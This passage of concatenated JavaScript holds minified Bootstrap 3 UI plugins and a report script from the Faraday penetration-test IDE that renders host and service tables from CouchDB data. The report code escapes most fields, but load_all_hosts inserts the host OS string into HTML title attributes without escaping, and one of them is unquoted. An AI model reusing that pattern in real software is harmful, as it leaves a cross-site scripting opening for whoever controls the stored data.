/>').appendTo(document.body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(a){a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus.call(this.$element[0]):this.hide.call(this))},this)),d&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;d?this.$backdrop.one(a.support.transition.end,b).emulateTransitionEnd(150):b()}else!this.isShown&&this.$backdrop?(this.$backdrop.removeClass("in"),a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one(a.support.transition.end,b).emulateTransitionEnd(150):b()):b&&b()};var c=a.fn.modal;a.fn.modal=function(c,d){return this.each(function(){var e=a(this),f=e.data("bs.modal"),g=a.extend({},b.DEFAULTS,e.data(),"object"==typeof c&&c);f||e.data("bs.modal",f=new b(this,g)),"string"==typeof c?f[c](d):g.show&&f.show(d)})},a.fn.modal.Constructor=b,a.fn.modal.noConflict=function(){return a.fn.modal=c,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(b){var c=a(this),d=c.attr("href"),e=a(c.attr("data-target")||d&&d.replace(/.*(?=#[^\s]+$)/,"")),f=e.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(d)&&d},e.data(),c.data());c.is("a")&&b.preventDefault(),e.modal(f,this).one("hide",function(){c.is(":visible")&&c.focus()})}),a(document).on("show.bs.modal",".modal",function(){a(document.body).addClass("modal-open")}).on("hidden.bs.modal",".modal",function(){a(document.body).removeClass("modal-open")})}(jQuery),+function(a){"use strict";var b=function(a,b){this.type=this.options=this.enabled=this.timeout=this.hoverState=this.$element=null,this.init("tooltip",a,b)};b.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1},b.prototype.init=function(b,c,d){this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d);for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},b.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},b.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget)[this.type](this.getDelegateOptions()).data("bs."+this.type);return clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show()},b.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget)[this.type](this.getDelegateOptions()).data("bs."+this.type);return clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},b.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){if(this.$element.trigger(b),b.isDefaultPrevented())return;var c=this,d=this.tip();this.setContent(),this.options.animation&&d.addClass("fade");var e="function"==typeof this.options.placement?this.options.placement.call(this,d[0],this.$element[0]):this.options.placement,f=/\s?auto?\s?/i,g=f.test(e);g&&(e=e.replace(f,"")||"top"),d.detach().css({top:0,left:0,display:"block"}).addClass(e),this.options.container?d.appendTo(this.options.container):d.insertAfter(this.$element);var h=this.getPosition(),i=d[0].offsetWidth,j=d[0].offsetHeight;if(g){var k=this.$element.parent(),l=e,m=document.documentElement.scrollTop||document.body.scrollTop,n="body"==this.options.container?window.innerWidth:k.outerWidth(),o="body"==this.options.container?window.innerHeight:k.outerHeight(),p="body"==this.options.container?0:k.offset().left;e="bottom"==e&&h.top+h.height+j-m>o?"top":"top"==e&&h.top-m-j<0?"bottom":"right"==e&&h.right+i>n?"left":"left"==e&&h.left-i<p?"right":e,d.removeClass(l).addClass(e)}var q=this.getCalculatedOffset(e,h,i,j);this.applyPlacement(q,e),this.hoverState=null;var r=function(){c.$element.trigger("shown.bs."+c.type)};a.support.transition&&this.$tip.hasClass("fade")?d.one(a.support.transition.end,r).emulateTransitionEnd(150):r()}},b.prototype.applyPlacement=function(b,c){var d,e=this.tip(),f=e[0].offsetWidth,g=e[0].offsetHeight,h=parseInt(e.css("margin-top"),10),i=parseInt(e.css("margin-left"),10);isNaN(h)&&(h=0),isNaN(i)&&(i=0),b.top=b.top+h,b.left=b.left+i,a.offset.setOffset(e[0],a.extend({using:function(a){e.css({top:Math.round(a.top),left:Math.round(a.left)})}},b),0),e.addClass("in");var j=e[0].offsetWidth,k=e[0].offsetHeight;if("top"==c&&k!=g&&(d=!0,b.top=b.top+g-k),/bottom|top/.test(c)){var l=0;b.left<0&&(l=-2*b.left,b.left=0,e.offset(b),j=e[0].offsetWidth,k=e[0].offsetHeight),this.replaceArrow(l-f+j,j,"left")}else this.replaceArrow(k-g,k,"top");d&&e.offset(b)},b.prototype.replaceArrow=function(a,b,c){this.arrow().css(c,a?50*(1-a/b)+"%":"")},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},b.prototype.hide=function(){function b(){"in"!=c.hoverState&&d.detach(),c.$element.trigger("hidden.bs."+c.type)}var c=this,d=this.tip(),e=a.Event("hide.bs."+this.type);return this.$element.trigger(e),e.isDefaultPrevented()?void 0:(d.removeClass("in"),a.support.transition&&this.$tip.hasClass("fade")?d.one(a.support.transition.end,b).emulateTransitionEnd(150):b(),this.hoverState=null,this)},b.prototype.fixTitle=function(){var a=this.$element;(a.attr("title")||"string"!=typeof a.attr("data-original-title"))&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},b.prototype.hasContent=function(){return this.getTitle()},b.prototype.getPosition=function(){var b=this.$element[0];return a.extend({},"function"==typeof b.getBoundingClientRect?b.getBoundingClientRect():{width:b.offsetWidth,height:b.offsetHeight},this.$element.offset())},b.prototype.getCalculatedOffset=function(a,b,c,d){return"bottom"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:"top"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:"left"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},b.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},b.prototype.tip=function(){return this.$tip=this.$tip||a(this.options.template)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},b.prototype.validate=function(){this.$element[0].parentNode||(this.hide(),this.$element=null,this.options=null)},b.prototype.enable=function(){this.enabled=!0},b.prototype.disable=function(){this.enabled=!1},b.prototype.toggleEnabled=function(){this.enabled=!this.enabled},b.prototype.toggle=function(b){var c=b?a(b.currentTarget)[this.type](this.getDelegateOptions()).data("bs."+this.type):this;c.tip().hasClass("in")?c.leave(c):c.enter(c)},b.prototype.destroy=function(){clearTimeout(this.timeout),this.hide().$element.off("."+this.type).removeData("bs."+this.type)};var c=a.fn.tooltip;a.fn.tooltip=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof c&&c;(e||"destroy"!=c)&&(e||d.data("bs.tooltip",e=new b(this,f)),"string"==typeof c&&e[c]())})},a.fn.tooltip.Constructor=b,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=c,this}}(jQuery),+function(a){"use strict";var b=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");b.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content")[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof c&&c;(e||"destroy"!=c)&&(e||d.data("bs.popover",e=new b(this,f)),"string"==typeof c&&e[c]())})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(jQuery),+function(a){"use strict";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(a(c).is("body")?window:c),this.$body=a("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?"offset":"position";this.offsets=a([]),this.targets=a([]);{var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})}},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);if(g&&b<=e[0])return g!=(a=f[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on("load",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(jQuery),+function(a){"use strict";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a")[0],f=a.Event("show.bs.tab",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent("li"),c),this.activate(g,g.parent(),function(){b.trigger({type:"shown.bs.tab",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),b.addClass("active"),g?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active"),d&&d()}var f=c.find("> .active"),g=d&&a.support.transition&&f.hasClass("fade");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass("in")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new b(this)),"string"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(b){b.preventDefault(),a(this).tab("show")})}(jQuery),+function(a){"use strict";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};b.RESET="affix affix-top affix-bottom",b.DEFAULTS={offset:0},b.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(b.RESET).addClass("affix");var a=this.$window.scrollTop(),c=this.$element.offset();return this.pinnedOffset=c.top-a},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(":visible")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;"top"==this.affixed&&(e.top+=d),"object"!=typeof f&&(h=g=f),"function"==typeof g&&(g=f.top(this.$element)),"function"==typeof h&&(h=f.bottom(this.$element));var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?"bottom":null!=g&&g>=d?"top":!1;if(this.affixed!==i){this.unpin&&this.$element.css("top","");var j="affix"+(i?"-"+i:""),k=a.Event(j+".bs.affix");this.$element.trigger(k),k.isDefaultPrevented()||(this.affixed=i,this.unpin="bottom"==i?this.getPinnedOffset():null,this.$element.removeClass(b.RESET).addClass(j).trigger(a.Event(j.replace("affix","affixed"))),"bottom"==i&&this.$element.offset({top:c-h-this.$element.height()}))}}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof c&&c;e||d.data("bs.affix",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(jQuery);
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3
4 function getParameterByName(name) {
5 name = name.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]");
6 var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
7 results = regex.exec(location.search);
8 return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
9 }
10
0 function htmlentities(string, quote_style, charset, double_encode) {
1 var hash_map = translationtable('HTML_ENTITIES', quote_style), symbol = '';
2 string = string == null ? '' : string + '';
3
4 if (!hash_map) {
5 return false;
6 }
7
8 if (quote_style && quote_style === 'ENT_QUOTES') {
9 hash_map["'"] = '&#039;';
10 }
11
12 if ( !! double_encode || double_encode == null) {
13 for (symbol in hash_map) {
14 if (hash_map.hasOwnProperty(symbol)) {
15 string = string.split(symbol)
16 .join(hash_map[symbol]);
17 }
18 }
19 } else {
20 string = string.replace(/([\s\S]*?)(&(?:#\d+|#x[\da-f]+|[a-zA-Z][\da-z]*);|$)/g, function (ignore, text, entity) {
21 for (symbol in hash_map) {
22 if (hash_map.hasOwnProperty(symbol)) {
23 text = text.split(symbol)
24 .join(hash_map[symbol]);
25 }
26 }
27 return text + entity;
28 });
29 }
30 return string;
31 };
32
33 function translationtable(table, quote_style) {
34 var entities = {},
35 hash_map = {},
36 decimal;
37 var constMappingTable = {},
38 constMappingQuoteStyle = {};
39 var useTable = {},
40 useQuoteStyle = {};
41
42 // Translate arguments
43 constMappingTable[0] = 'HTML_SPECIALCHARS';
44 constMappingTable[1] = 'HTML_ENTITIES';
45 constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
46 constMappingQuoteStyle[2] = 'ENT_COMPAT';
47 constMappingQuoteStyle[3] = 'ENT_QUOTES';
48
49 useTable = !isNaN(table) ? constMappingTable[table] : table ? table.toUpperCase() : 'HTML_SPECIALCHARS';
50 useQuoteStyle = !isNaN(quote_style) ? constMappingQuoteStyle[quote_style] : quote_style ? quote_style.toUpperCase() :
51 'ENT_COMPAT';
52
53 if (useTable !== 'HTML_SPECIALCHARS' && useTable !== 'HTML_ENTITIES') {
54 throw new Error('Table: ' + useTable + ' not supported');
55 }
56
57 entities['38'] = '&amp;';
58 if (useTable === 'HTML_ENTITIES') {
59 entities['160'] = '&nbsp;';
60 entities['161'] = '&iexcl;';
61 entities['162'] = '&cent;';
62 entities['163'] = '&pound;';
63 entities['164'] = '&curren;';
64 entities['165'] = '&yen;';
65 entities['166'] = '&brvbar;';
66 entities['167'] = '&sect;';
67 entities['168'] = '&uml;';
68 entities['169'] = '&copy;';
69 entities['170'] = '&ordf;';
70 entities['171'] = '&laquo;';
71 entities['172'] = '&not;';
72 entities['173'] = '&shy;';
73 entities['174'] = '&reg;';
74 entities['175'] = '&macr;';
75 entities['176'] = '&deg;';
76 entities['177'] = '&plusmn;';
77 entities['178'] = '&sup2;';
78 entities['179'] = '&sup3;';
79 entities['180'] = '&acute;';
80 entities['181'] = '&micro;';
81 entities['182'] = '&para;';
82 entities['183'] = '&middot;';
83 entities['184'] = '&cedil;';
84 entities['185'] = '&sup1;';
85 entities['186'] = '&ordm;';
86 entities['187'] = '&raquo;';
87 entities['188'] = '&frac14;';
88 entities['189'] = '&frac12;';
89 entities['190'] = '&frac34;';
90 entities['191'] = '&iquest;';
91 entities['192'] = '&Agrave;';
92 entities['193'] = '&Aacute;';
93 entities['194'] = '&Acirc;';
94 entities['195'] = '&Atilde;';
95 entities['196'] = '&Auml;';
96 entities['197'] = '&Aring;';
97 entities['198'] = '&AElig;';
98 entities['199'] = '&Ccedil;';
99 entities['200'] = '&Egrave;';
100 entities['201'] = '&Eacute;';
101 entities['202'] = '&Ecirc;';
102 entities['203'] = '&Euml;';
103 entities['204'] = '&Igrave;';
104 entities['205'] = '&Iacute;';
105 entities['206'] = '&Icirc;';
106 entities['207'] = '&Iuml;';
107 entities['208'] = '&ETH;';
108 entities['209'] = '&Ntilde;';
109 entities['210'] = '&Ograve;';
110 entities['211'] = '&Oacute;';
111 entities['212'] = '&Ocirc;';
112 entities['213'] = '&Otilde;';
113 entities['214'] = '&Ouml;';
114 entities['215'] = '&times;';
115 entities['216'] = '&Oslash;';
116 entities['217'] = '&Ugrave;';
117 entities['218'] = '&Uacute;';
118 entities['219'] = '&Ucirc;';
119 entities['220'] = '&Uuml;';
120 entities['221'] = '&Yacute;';
121 entities['222'] = '&THORN;';
122 entities['223'] = '&szlig;';
123 entities['224'] = '&agrave;';
124 entities['225'] = '&aacute;';
125 entities['226'] = '&acirc;';
126 entities['227'] = '&atilde;';
127 entities['228'] = '&auml;';
128 entities['229'] = '&aring;';
129 entities['230'] = '&aelig;';
130 entities['231'] = '&ccedil;';
131 entities['232'] = '&egrave;';
132 entities['233'] = '&eacute;';
133 entities['234'] = '&ecirc;';
134 entities['235'] = '&euml;';
135 entities['236'] = '&igrave;';
136 entities['237'] = '&iacute;';
137 entities['238'] = '&icirc;';
138 entities['239'] = '&iuml;';
139 entities['240'] = '&eth;';
140 entities['241'] = '&ntilde;';
141 entities['242'] = '&ograve;';
142 entities['243'] = '&oacute;';
143 entities['244'] = '&ocirc;';
144 entities['245'] = '&otilde;';
145 entities['246'] = '&ouml;';
146 entities['247'] = '&divide;';
147 entities['248'] = '&oslash;';
148 entities['249'] = '&ugrave;';
149 entities['250'] = '&uacute;';
150 entities['251'] = '&ucirc;';
151 entities['252'] = '&uuml;';
152 entities['253'] = '&yacute;';
153 entities['254'] = '&thorn;';
154 entities['255'] = '&yuml;';
155 }
156
157 if (useQuoteStyle !== 'ENT_NOQUOTES') {
158 entities['34'] = '&quot;';
159 }
160 if (useQuoteStyle === 'ENT_QUOTES') {
161 entities['39'] = '&#39;';
162 }
163 entities['60'] = '&lt;';
164 entities['62'] = '&gt;';
165
166 // ascii decimals to real symbols
167 for (decimal in entities) {
168 if (entities.hasOwnProperty(decimal)) {
169 hash_map[String.fromCharCode(decimal)] = entities[decimal];
170 }
171 }
172
173 return hash_map;
174 }
175
176 function load_all_hosts(design) {
177 design = "hosts";
178 var iurl = "/" + workspace + "/_design/" + design + "/_view/byinterfacecount?group=true";
179 var hurl = "/" + workspace + "/_design/" + design + "/_view/hosts";
180 var surl = "/" + workspace + "/_design/" + design + "/_view/byservicecount?group=true";
181 var hosts = new Object();
182 var interfaces = new Object();
183 var services = new Object();
184
185 hosts = get_obj(hurl);
186 interfaces = get_obj(iurl, interfaces);
187 services = get_obj(surl, services);
188 var table = "<header><h2>Hosts report</h2></header>";
189 table += "<table id=\"hosts-"+workspace+"\" class=\"tablesorter table table-striped\"><thead><tr>"+
190 "<th>Host</th>"+
191 "<th>Services</th>"+
192 "<th>OS</th>"+
193 "</tr></thead><tbody>";
194 $.each(hosts, function(k, v){
195 var hname = htmlentities(v.name);
196 if(!services.hasOwnProperty(k)) {
197 services[k] = 0;
198 } else {
199 hname = "<a href=\"host-"+k+"\" class=\"host\">"+hname+"</a>";
200 }
201 if(!interfaces.hasOwnProperty(k)) interfaces[k] = 0;
202 var icon = "";
203 if(v.os.toLowerCase().indexOf("windows") > -1) icon = "windows";
204 if(v.os.toLowerCase().indexOf("osx") > -1) icon = "osx";
205 if(v.os.toLowerCase().indexOf("linux") > -1
206 || v.os.toLowerCase().indexOf("unix") > -1) icon = "linux";
207 var os = "";
208 if(icon === "") {
209 os = "<span class=\"glyphicon glyphicon-question-sign faraday-qtips\" title="+v.os+"></span>";
210 } else {
211 os = "<img src=\"../././reports/images/"+icon+".png\" class=\"faraday-qtips\" title=\""+v.os+"\"/>";
212 }
213 table += "<tr id=\"host-"+k+"\">"+
214 "<td>"+hname+"</td>"+
215 "<td>"+services[k]+"</td>"+
216 "<td>"+os+"</td></tr>";
217 });
218 table += "</tbody></table>";
219 return table;
220 }
221
222 function load_hosts_by_service(name,bolean) {
223 name = htmlentities(name);
224 design = "hosts";
225 var services = get_obj_filter(workspace, "services", "byname", name);
226 var hids = [];
227 $.each(services, function(k, v) {
228 v = v['value'];
229 if($.inArray(v['hid'], hids) < 0) {
230 hids.push(v['hid']);
231 }
232 });
233 var hosts = get_obj_filter(workspace, "hosts", "hosts", hids);
234 var iurl = "/" + workspace + "/_design/" + design + "/_view/byinterfacecount?group=true";
235 var interfaces = new Object();
236 var surl = "/" + workspace + "/_design/" + design + "/_view/byservicecount?group=true";
237 var scount = new Object();
238
239 interfaces = get_obj(iurl, interfaces);
240 scount = get_obj(surl, services);
241 if(!bolean){
242 var table = "<header><h2>Hosts with Service "+name+" ("+hids.length+" total)</h2></header><div id='text'></div>"+
243 "<table id=\"hosts-"+workspace+"\" class=\"tablesorter table table-striped\"><thead><tr>"+
244 "<th>Host</th>"+
245 "<th>Services</th>"+
246 "<th>OS</th>"+
247 "</tr></thead><tbody>";
248 $.each(hosts, function(k, v){
249 var id = v['id'];
250 v = v['value'];
251 var icon = "";
252 var tmp = "";
253 var cleanOs = htmlentities(v.os);
254 if(cleanOs.toLowerCase().indexOf("windows") > -1) icon = "windows";
255 if(cleanOs.toLowerCase().indexOf("osx") > -1) icon = "osx";
256 if(cleanOs.toLowerCase().indexOf("linux") > -1
257 || cleanOs.toLowerCase().indexOf("unix") > -1) icon = "linux";
258 var os = "";
259 if(icon === "") {
260 os = "<span class=\"glyphicon glyphicon-question-sign faraday-qtips\" title="+cleanOs+"></span>";
261 } else {
262 os = "<img src=\"../././reports/images/"+icon+".png\" class=\"faraday-qtips\" title=\""+cleanOs+"\"/>";
263 }
264 tmp = htmlentities(v['name']);
265 if($.inArray(id, hids) > -1) {
266 table += "<tr id=\"host-"+id+"\">"+
267 "<td><a href=\"host-"+id+"\" class=\"host\">"+tmp+"</a></td>"+
268 "<td>"+scount[id]+"</td>"+
269 "<td>"+os+"</td></tr>";
270 }
271 });
272 table += "</tbody></table>";
273 }else{
274 var table = "<table><tbody>";
275 $.each(hosts, function(k, v){
276 var id = v['id'];
277 v = v['value'];
278 var tmp = htmlentities(v['name']);
279 if($.inArray(id, hids) > -1) {
280 table += "<tr id=\"host-"+id+"\">"+
281 "<td><p>"+tmp+"</p></td></tr>";
282 }
283 });
284 table += "</tbody></table>";
285 }
286 return table;
287 }
288
289 function load_services(hid, hname) {
290 hname = htmlentities(hname);
291 design = "hosts";
292 // el param design ya no es el recibido por GET, puesto que ahora estamos en services
293 var services = get_obj_filter(workspace, "services", "byhost", hid);
294 var table = "<header><h2>Services for Host "+hname+" ("+services.length+" total)</h2></header><div id='text'></div>"+
295 "<table id=\"services-"+workspace+"\" class=\"tablesorter table table-striped\"><thead><tr>"+
296 "<th>Name</th>"+
297 "<th>Description</th>"+
298 "<th>Ports</th>"+
299 "<th>Protocol</th>"+
300 "<th>Status</th></tr></thead><tbody>";
301 $.each(services, function(k, v){
302 var sid = v['id'];
303 v = v['value'];
304 var desc = (v['description'] === "") ? "n/a" : htmlentities(v['description']);
305 var ports = "";
306 var sname = "";
307 if(v['ports'].length === 0) {
308 ports = "no ports available";
309 } else {
310 for(i=0; i < v['ports'].length; i++){
311 ports += htmlentities(v['ports'][i]);
312 if(v['ports'].length != 1 && i != (v['ports'].length-1)) {
313 ports += ", ";
314 }
315 }
316 }
317 sname = htmlentities(v['name']);
318 protocol = htmlentities(v['protocol']);
319 status = htmlentities(v['status']);
320 table += "<tr id=\"service-"+sid+"\">"+
321 "<td><a href=\"service-"+sid+"\" class=\"service\">"+sname+"</a></td>"+
322 "<td>"+desc+"</td>"+
323 "<td>"+ports+"</td>"+
324 "<td>"+protocol+"</td>"+
325 "<td>"+status+"</td></tr>";
326 });
327 table += "</tbody></table>";
328 return table;
329 }
330
331 function get_obj_filter(ws, design, view, key) {
332 var db = new CouchDB(ws);
333 var sview = design + "/" + view;
334 if(typeof key === 'undefined') {
335 var matches = db.view(sview);
336 } else if($.isArray(key)) {
337 var matches = db.view(sview, {keys: JSON.stringify(key)});
338 } else {
339 var matches = db.view(sview, {key: key});
340 }
341 return matches.rows;
342 }
343
344 function get_obj(ourl) {
345 var ls = {};
346 $.ajax({
347 dataType: "json",
348 url: ourl,
349 async: false,
350 success: function(data) {
351 $.each(data.rows, function(n, obj){
352 ls[obj.key] = obj.value;
353 });
354 }
355 });
356 return ls;
357 }
358
359 function back_to_services(hid,hname){
360 $(document).on('click', 'a#back_to_services', function(e) {
361 var div = load_services(hid, hname);
362 $("#hosts").html(div);
363 $("#text").html("<a href=\"load_all_hosts\">View all hosts</a> - <a id='back_to_host'>Back</a>");
364 sorter(2);
365 $("#compound .tablesorter tbody td, #compound .tablesorter thead th").css("width","20%");
366 });
367 }
368 //sortea la columna que vos le pasas, columna = numero
369 function sorter(columna){
370 $(".tablesorter").tablesorter({
371 sortList: [[columna,0]]
372 });
373 }
374
375 $( document ).ready(function() {
376 $(document).on('click', 'a.host', function(e) {
377 // no queremos que cargue nada
378 e.preventDefault();
379 // el ID del host que quiero traer es el ID del link clickeado menos el "host-" del ppio
380 var hid = $(this).attr("href").split('-')[1];
381 // el nombre del host que quiero traer es el valor del link
382 var hname = $(this).text();
383 var div = load_services(hid, hname);
384 back_to_services(hid,hname);
385 $("#hosts").html(div);
386 // sacamos la tabla de hosts y agregamos un link de navegacion para volverla a cargar
387 $("#text").html("<a href=\"load_all_hosts\">View all hosts</a> - <a id='back_to_host'>Back</a>");
388 sorter(2);
389 $("#compound .tablesorter thead th, #compound .tablesorter tbody td").css("width","20%");
390 });
391 // cuando se clickea un servicio carga todos los hosts que tienen ese servicio
392 $(document).on('click', 'a.service', function(e) {
393 e.preventDefault();
394 var sname = $(this).text();
395 var div = load_hosts_by_service(sname);
396 $("#hosts").html(div);
397 // sacamos la tabla de hosts y agregamos un link de navegacion para volverla a cargar
398 $("#text").html("<a href=\"load_all_hosts\">View all hosts</a> - <a id='back_to_services'>Back</a>");
399 sorter(0);
400 });
401
402 // comportamiento para "View all hosts"
403 $(document).on('click', 'a[href="load_all_hosts"]', function(e) {
404 e.preventDefault();
405 var div = load_all_hosts();
406 $("#hosts").html(div);
407 sorter(0);
408 });
409 $(document).on('click', 'a#back_to_host', function(e) {
410 e.preventDefault();
411 var div = load_all_hosts();
412 $("#hosts").html(div);
413 sorter(0);
414 });
415 });
0 // Licensed under the Apache License, Version 2.0 (the "License"); you may not
1 // use this file except in compliance with the License. You may obtain a copy
2 // of the License at
3 //
4 // http://www.apache.org/licenses/LICENSE-2.0
5 //
6 // Unless required by applicable law or agreed to in writing, software
7 // distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
8 // WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
